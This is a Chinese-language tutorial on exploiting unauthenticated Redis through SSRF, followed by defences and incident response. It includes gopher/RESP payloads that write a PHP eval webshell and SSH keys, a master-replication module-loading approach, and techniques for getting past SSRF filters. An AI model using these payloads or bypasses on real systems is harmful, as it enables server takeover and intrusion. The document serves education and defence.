1. 项目概述:当Redis遇上SSRF
如果你是一名运维、开发或者安全测试人员,那么“Redis配置不当”和“SSRF攻击”这两个词对你来说一定不陌生。前者是日常工作中一个看似不起眼、却可能引发雪崩的配置疏忽;后者则是攻击者手中一把锋利的内网探测与攻击利刃。当这两者结合,一个原本只应服务于内部缓存的Redis实例,就可能成为攻击者通向企业核心内网的“任意门”。今天,我们就来深入拆解这个经典且危险的安全场景,手把手带你从零开始,搭建一个存在配置问题的Redis环境,一步步复现SSRF攻击如何利用它,并最终给出从根源到边界的立体防御方案。整个过程我会附上实战截图,确保你能看得懂、复现得了、防得住。
简单来说,这个场景的核心逻辑是:攻击者发现了一个存在SSRF漏洞的Web应用(比如一个可以请求外部URL的功能点)。他无法直接访问内网,但通过SSRF漏洞,他可以让这个Web应用的服务器去发起网络请求。如果这台服务器上恰好运行着一个配置不当(例如,绑定了0.0.0.0且未设置密码)的Redis服务,攻击者就可以通过SSRF,构造特殊的HTTP请求,让Web服务器作为“跳板”,向本地的Redis服务发送恶意命令。这些命令可能包括写入Webshell、反弹Shell、窃取数据甚至进行内网横向移动。这绝不是危言耸听,而是许多真实安全事件的缩影。
2. 核心原理与攻击链深度拆解
要理解整个攻击过程,我们必须先拆解两个独立又关联的技术点:Redis的“危险配置”和SSRF的“协议利用”。
2.1 Redis的“危险配置”到底指什么?
很多人安装Redis时,为了图省事,直接使用默认配置或只做简单修改,这就埋下了隐患。以下几个配置项是安全的重灾区:
-
bind配置项 :默认情况下,Redis 3.2版本之后,配置文件中会有一行bind 127.0.0.1,这表示只允许本机连接。但很多教程或老版本习惯会将其改为bind 0.0.0.0,以便其他服务器也能访问。一旦这样设置,Redis就监听在了所有网络接口上,任何能访问到该服务器IP的机器都可以尝试连接。如果这个Redis暴露在公网,那就是“裸奔”。 -
protected-mode配置项 :这是Redis 3.2引入的安全模式。当Redis没有设置密码(requirepass),且绑定地址不是回环地址(127.0.0.1)时,保护模式会生效,拒绝外部连接。但如果你既设置了bind 0.0.0.0,又为了“方便”而将protected-mode设为no,那就亲手关闭了这扇安全门。 -
requirepass配置项 :即Redis的访问密码。默认是空的。一个强密码是防止未授权访问最基本、最有效的屏障。没有密码,攻击者连接后就可以为所欲为。 -
dir和dbfilename配置项 :这两个配置决定了RDB持久化文件的存储目录和文件名。攻击者可以利用Redis的CONFIG SET命令临时修改它们,将“文件”写入到Web目录等可访问路径,从而达成写入Webshell的目的。
注意 :很多云服务器上的Redis漏洞,根源就在于用户为了方便调试,临时修改了这些配置,事后却忘了改回去。安全往往就败给了“一时方便”。
2.2 SSRF如何与Redis“握手”?
SSRF(Server-Side Request Forgery,服务端请求伪造)的本质是“借刀杀人”。攻击者诱导服务器应用代表他去发起一个网络请求。这个请求的目的地,可以是外网,也可以是服务器本身的内网(127.0.0.1/localhost)或其他内网IP。
关键点在于
协议利用
。大多数存在SSRF的功能点,最初设计可能只是用于请求HTTP/HTTPS的图片、链接。但许多编程语言的网络库(如PHP的
file_get_contents()
、
curl
,Python的
urllib
,Java的
URLConnection
等)支持多种URL协议,例如:
-
file://:读取本地文件。 -
dict://:访问字典服务器。 -
gopher://:一个功能强大的古老协议,可以封装成各种其他协议的请求。 -
redis://或直接使用原始TCP流量 :这正是攻击Redis的桥梁。
Gopher协议在SSRF攻击中尤其危险,因为它可以发送任意格式的TCP数据包。攻击者可以构造一个特殊的Gopher URL,其内容实际上是一个完整的Redis命令协议(RESP协议)数据包。当存在SSRF漏洞的应用解析并请求这个URL时,就会向指定的主机和端口(如本机的6379端口)发送这段Redis命令数据。如果该端口正运行着无认证的Redis,命令就会被执行。
攻击链全景图 :
- 攻击者发现一个SSRF漏洞点(如一个URL参数)。
-
攻击者构造一个指向
127.0.0.1:6379的恶意Gopher协议Payload,其中包含了危害性的Redis命令。 - Web服务器执行SSRF请求,向本机的Redis服务发送该Payload。
- Redis服务器接收到并执行这些命令,导致数据泄露、文件写入或权限提升。
- 攻击者通过写入的Webshell或反弹的Shell,获得服务器控制权。
3. 手把手搭建漏洞复现环境
理论说得再多,不如亲手实践一遍。下面我们搭建一个经典的漏洞复现环境。我们将使用Vulhub这个漏洞靶场集成环境,它已经为我们准备好了所有组件。
3.1 环境准备与启动
首先,确保你的机器上安装了Docker和Docker Compose。这是目前最便捷的复现方式。
# 1. 拉取Vulhub项目(如果已有可跳过)
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 2. 进入Redis相关的漏洞目录
cd redis/ssrf-redis
# 3. 查看docker-compose.yml文件,了解环境构成
# 通常,它会启动一个无认证的Redis容器和一个存在SSRF漏洞的Web应用容器。
cat docker-compose.yml
# 4. 启动环境
docker-compose up -d
启动完成后,使用
docker ps
命令,你应该能看到两个容器在运行:一个是Redis,另一个是Web应用(可能是用Python Flask或PHP写的简单应用)。
3.2 漏洞点分析与确认
环境启动后,我们访问Web应用(通常是
http://your-ip:port
,具体端口查看docker-compose.yml文件)。你会看到一个简单的页面,可能有一个输入框,让你提交一个URL,然后服务器会去获取这个URL的内容并显示出来。这就是典型的SSRF漏洞点。
第一步,先验证SSRF存在性:
-
尝试让服务器请求
http://127.0.0.1:80(如果Web服务器本身有80端口),看是否能返回本机Web服务的首页。 -
尝试使用
file://协议读取/etc/passwd文件:file:///etc/passwd。如果成功读取,说明SSRF漏洞存在且协议支持广泛。
第二步,探测Redis服务:
-
尝试让服务器请求
dict://127.0.0.1:6379/info。dict协议简单,常用来探测端口是否开放及获取横幅信息。如果返回包含redis_version等信息的错误或响应,则证明6379端口开放且是Redis服务。 -
如果
dict协议被禁用,就需要用更强大的gopher协议。
实操心得 :在实际测试中,目标服务器可能禁用了一些危险协议。因此,信息收集阶段多用几种方法探测非常必要。
dict协议因为简单,有时反而能绕过一些简单的过滤。
4. 构造攻击:从信息泄露到写入Webshell
确认Redis可访问后,我们就可以开始构造真正的攻击了。我们的目标是利用Redis在Web目录下写入一个PHP Webshell。
4.1 理解Redis通信协议(RESP)
要手动构造Gopher Payload,必须了解Redis的序列化协议(RESP)。它非常简单:
-
简单字符串:以
+开头,如+OK\r\n -
错误:以
-开头 -
整数:以
:开头 -
批量字符串:以
$开头,后跟字符串长度,然后是字符串本身,如$3\r\nSET\r\n -
数组:以
*开头,后跟数组元素个数,然后依次是各元素。命令就是用数组表示的。
例如,Redis命令
SET key value
的RESP编码是:
*3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n
解释:
*3
表示这是一个包含3个元素的数组。接着是三个批量字符串:
$3\r\nSET
,
$3\r\nkey
,
$5\r\nvalue
。
4.2 分步攻击命令构造
假设我们已知Web服务器的网站根目录是
/var/www/html
(这是一个常见路径,实际需要通过信息收集确认,例如利用SSRF读取Web应用的配置文件)。
攻击步骤如下:
-
连接Redis并切换数据库 (可选):
*2\r\n$6\r\nSELECT\r\n$1\r\n0\r\n -
设置RDB文件路径为Web目录 :
*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n -
设置RDB文件名为Webshell :
*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n -
写入Webshell内容到Redis键值 :我们需要写入一段PHP代码到某个键里。例如写入
<?php @eval($_POST['cmd']);?>。-
先计算Webshell内容的长度。注意,Redis会存储一些元数据,所以直接写入可能会破坏PHP语法。更稳妥的方式是使用Redis的
set命令,并利用RDB文件持久化的特性。但有一种更直接的方法:写入一个包含换行符的字符串,但构造起来较复杂。 -
一个经典技巧是:使用
set命令写入一个包含Webshell代码的键,然后通过SAVE命令触发RDB持久化,将内存数据写入文件。但SAVE是同步的,在Redis主线程执行,可能导致阻塞。 - 更优实践 :写入多个键,利用RDB文件格式。我们可以直接构造一个 符合RDB文件格式 的Payload,然后让Redis将其恢复。但这需要深入理解RDB格式,难度较高。
-
通用且有效的方法
:使用
eval命令执行Lua脚本,但需要Redis支持。 -
我们采用最广泛使用的方法
:写入一个键,其值就是Webshell代码,然后通过
CONFIG SET dbfilename和SAVE来写入文件。虽然SAVE可能慢,但在攻击中可用。
构造命令:
*3\r\n$3\r\nSET\r\n$4\r\nshell\r\n$31\r\n<?php @eval($_POST[\"cmd\"]);?>\r\n(注意:$31是字符串<?php @eval($_POST["cmd"]);?>的长度,双引号前需要加反斜杠转义,但在RESP协议中,字符串内容就是原始字符,转义是在PHP层面。这里长度计算需精确。) -
先计算Webshell内容的长度。注意,Redis会存储一些元数据,所以直接写入可能会破坏PHP语法。更稳妥的方式是使用Redis的
-
触发保存到文件 :
*1\r\n$4\r\nSAVE\r\n
4.3 整合成Gopher Payload
Gopher协议的URL格式为:
gopher://<host>:<port>/<gopher-path>
,其中
<gopher-path>
的第一个字符会被忽略(通常用
_
),之后的内容会作为TCP流直接发送。
我们需要将上面所有Redis命令的RESP编码
连接起来
,然后进行URL编码(因为Gopher路径是URL的一部分,需要编码特殊字符如
%0d
,
%0a
即
\r\n
)。
假设我们构造的完整TCP数据流(T)是:
*2\r\n$6\r\nSELECT\r\n$1\r\n0\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n*3\r\n$3\r\nSET\r\n$4\r\nshell\r\n$31\r\n<?php @eval($_POST["cmd"]);?>\r\n*1\r\n$4\r\nSAVE\r\n
然后,我们需要对
\r\n
进行URL编码,它们分别是
%0d
和
%0a
。同时,其他特殊字符如
<
,
>
,
"
,
空格
等也需要编码。这通常通过脚本完成。
一个编码后的Payload片段可能看起来像:
gopher://127.0.0.1:6379/_%2A2%0d%0a%246%0d%0aSELECT%0d%0a%241%0d%0a0%0d%0a%2A4%0d%0a%246%0d%0aCONFIG%0d%0a%243%0d%0aSET%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a...
(非常长)
4.4 使用工具简化攻击
手动构造和编码如此复杂的Payload极易出错。在实际渗透测试中,我们通常使用工具。最著名的就是
redis-ssrf
工具(如Github上的某些项目),或者使用
SSRFmap
、
Gopherus
等自动化工具。
例如,使用
Gopherus
工具:
python gopherus.py --exploit redis
工具会交互式地询问你Redis的IP、端口、Web目录路径、Webshell内容,然后自动生成编码好的Gopher URL。你只需要将这个URL提交给存在SSRF的漏洞点即可。
攻击成功验证 :
- 将生成的Gopher URL提交给SSRF漏洞点。
-
如果攻击成功,Redis会执行命令,并在
/var/www/html目录下生成shell.php文件。 -
访问
http://target-ip/shell.php,如果存在,则说明写入成功。 -
使用蚁剑、菜刀或直接POST传参
cmd=system('whoami');来验证Webshell是否可用。
注意事项 :这种方法成功的前提是Redis运行用户(通常是
redis)对Web目录有写权限。在Docker环境中,由于权限宽松,很容易成功。在生产环境中,可能因为权限问题失败,这就需要尝试其他路径(如/tmp)或利用其他方法。
5. 进阶利用与防御绕过思路
基础的Webshell写入只是开始,攻击者的手段会更加隐蔽和深入。
5.1 写入SSH公钥实现免密登录
如果目标服务器Redis以root或高权限用户运行,并且该用户有SSH目录的写权限,攻击者可以写入SSH公钥到
/root/.ssh/authorized_keys
文件,从而直接获得SSH root权限。
攻击步骤类似,只是将Web目录和文件名改为SSH相关路径:
-
CONFIG SET dir /root/.ssh -
CONFIG SET dbfilename authorized_keys -
SET pubkey "\n\n<你的SSH公钥内容>\n\n"(注意前后加换行符,符合文件格式) -
SAVE
5.2 利用主从复制加载恶意模块
这是更高级的攻击方式,适用于Redis 4.x及以上版本,支持模块功能。攻击者可以搭建一个恶意的Redis服务器作为“主节点”,然后通过SSRF利用
SLAVEOF
命令,让目标Redis作为“从节点”同步数据。在同步过程中,可以加载恶意
.so
模块,从而执行任意代码,获得服务器权限。这种方式不需要写文件,直接在内存中执行,更加隐蔽。
5.3 防御绕过技巧
-
协议黑名单绕过
:如果应用过滤了
gopher://、dict://等关键字,可以尝试:-
大小写混淆:
Gopher://、DICT:// -
使用其他协议:
redis://(如果支持)、甚至利用URL解析特性,如http://127.0.0.1@evil.com可能会被解析到evil.com,但某些库可能解析为访问127.0.0.1。更常见的是利用IPv6地址[::]、十进制IP编码、八进制IP编码等。 -
使用短域名重定向:攻击者控制一个域名,先302跳转到
gopher://...,有些SSRF实现会跟随跳转。
-
大小写混淆:
-
地址过滤绕过
:如果过滤了
127.0.0.1、localhost:-
使用
0.0.0.0、[::](IPv6的本地地址)、127.1、127.0.0.0(某些解析方式)。 -
使用DNS重绑定技术:域名同时解析到攻击者控制的IP和
127.0.0.1,利用应用和DNS解析的时间差进行攻击。
-
使用
- 端口过滤绕过 :如果限制了常用端口,可以尝试Redis的非默认端口(如果管理员修改过)。
6. 多层次立体防御方案
防御必须从开发、运维、网络多个层面入手,构建纵深防御体系。
6.1 Redis服务端加固(运维层面)
这是最根本的防御。
-
强制认证
:在
redis.conf中设置强密码requirepass your-strong-password-here。密码应复杂且定期更换。 -
最小化网络暴露
:将
bind配置为仅应用服务器需要连接的IP地址,通常是内网IP。 绝对不要 绑定0.0.0.0。生产环境建议只绑定127.0.0.1,让Redis只被本机访问。 -
启用保护模式
:确保
protected-mode为yes(默认)。这是防止因忘记设置bind和密码而暴露的最后一道防线。 - 修改默认端口 :将端口从默认的6379改为其他端口,增加攻击者扫描成本。
-
以非root用户运行
:使用专门的低权限用户(如
redis)来运行Redis服务,并限制其文件系统权限。 - 防火墙限制 :使用服务器防火墙(如iptables, firewalld)或云安全组,严格限制访问Redis端口的源IP,只允许信任的应用服务器IP访问。
-
禁用高危命令
:在
redis.conf中使用rename-command配置项,将危险命令重命名或禁用。例如:
禁用rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" rename-command SAVE "" rename-command SHUTDOWN ""CONFIG命令可以极大增加利用难度。注意,禁用命令可能影响正常运维,需要权衡。 - 定期更新 :保持Redis版本为最新稳定版,及时修复已知漏洞。
6.2 应用层防御(开发层面)
-
输入校验与白名单
:对用户输入的URL进行严格校验。
-
协议白名单
:只允许
http://和https://。 - 域名/IP白名单 :只允许访问指定的、可信的外部域名或IP地址。
- 使用内置的解析库 获取主机名和端口,并进行判断,避免使用字符串匹配等容易被绕过的方法。
-
协议白名单
:只允许
-
禁用不必要的URL协议
:在应用使用的网络库中,显式禁用
file://、gopher://、dict://、ftp://等危险协议。例如,在Java中可以使用UrlPermission;在Python的urllib中,可以自定义协议处理器。 - 设置请求超时与限制 :对出站请求设置较短的超时时间,并限制响应体大小,防止被用于端口扫描或DoS攻击。
- 避免将用户输入直接用于网络请求 :这是最根本的。如果功能设计上必须请求用户提供的URL,应考虑使用一个安全的中间代理服务,由代理服务进行严格的过滤和请求转发。
6.3 网络与架构层防御
- 网络隔离 :将Redis、数据库等核心服务部署在内网,与Web服务器隔离在不同的子网或VPC中,并通过严格的网络ACL控制访问。
- 使用跳板机或堡垒机 :运维人员通过统一的、审计严格的入口访问后台服务,避免直接暴露管理端口。
- 部署WAF/IDS :在网络边界或主机层部署Web应用防火墙或入侵检测系统,配置规则识别和拦截典型的SSRF攻击流量和异常的Redis协议请求。
7. 应急响应与排查手册
如果怀疑系统已经遭到此类攻击,应立即按以下步骤排查:
- 立即隔离 :断开疑似受害服务器的网络,防止进一步扩散。
-
检查Redis配置与日志
:
-
查看
redis.conf文件,确认bind、protected-mode、requirepass设置。 -
检查Redis日志(通常配置在
logfile中),寻找异常连接和命令执行记录,特别是来自Web服务器IP的非预期连接。 -
使用
redis-cli连接(需密码),执行CLIENT LIST查看当前连接,INFO查看服务器信息。
-
查看
-
检查Web应用日志
:审查Web服务器(如Nginx、Apache)的访问日志和应用自身日志,寻找包含
gopher、dict、127.0.0.1:6379等特征的异常请求。 -
排查恶意文件
:
-
在Web目录下查找近期创建的异常文件,特别是
.php、.jsp、.asp等脚本文件,检查文件内容。 -
检查
/root/.ssh/authorized_keys、/var/spool/cron/等关键位置是否有未授权的修改。
-
在Web目录下查找近期创建的异常文件,特别是
-
检查进程与网络连接
:使用
netstat -antp或ss -antp查看异常的网络连接和进程。使用ps aux或top查看有无可疑进程。 - 取证与恢复 :在确认入侵点后,进行取证分析(备份日志、恶意文件样本),然后清除后门、修复漏洞(修改Redis配置、修复SSRF漏洞)、重置所有相关密码(Redis密码、系统密码、数据库密码等),最后再恢复服务。
- 复盘与加固 :分析攻击根本原因,是配置问题还是代码漏洞,并按照前述防御方案进行全面加固,避免同类事件再次发生。
安全是一个持续的过程,而非一劳永逸的状态。对于Redis和SSRF这类“经典组合拳”,唯有在开发、部署、运维的每一个环节都保持警惕,践行最小权限原则和纵深防御思想,才能将风险降至最低。

1335

被折叠的 条评论
为什么被折叠?



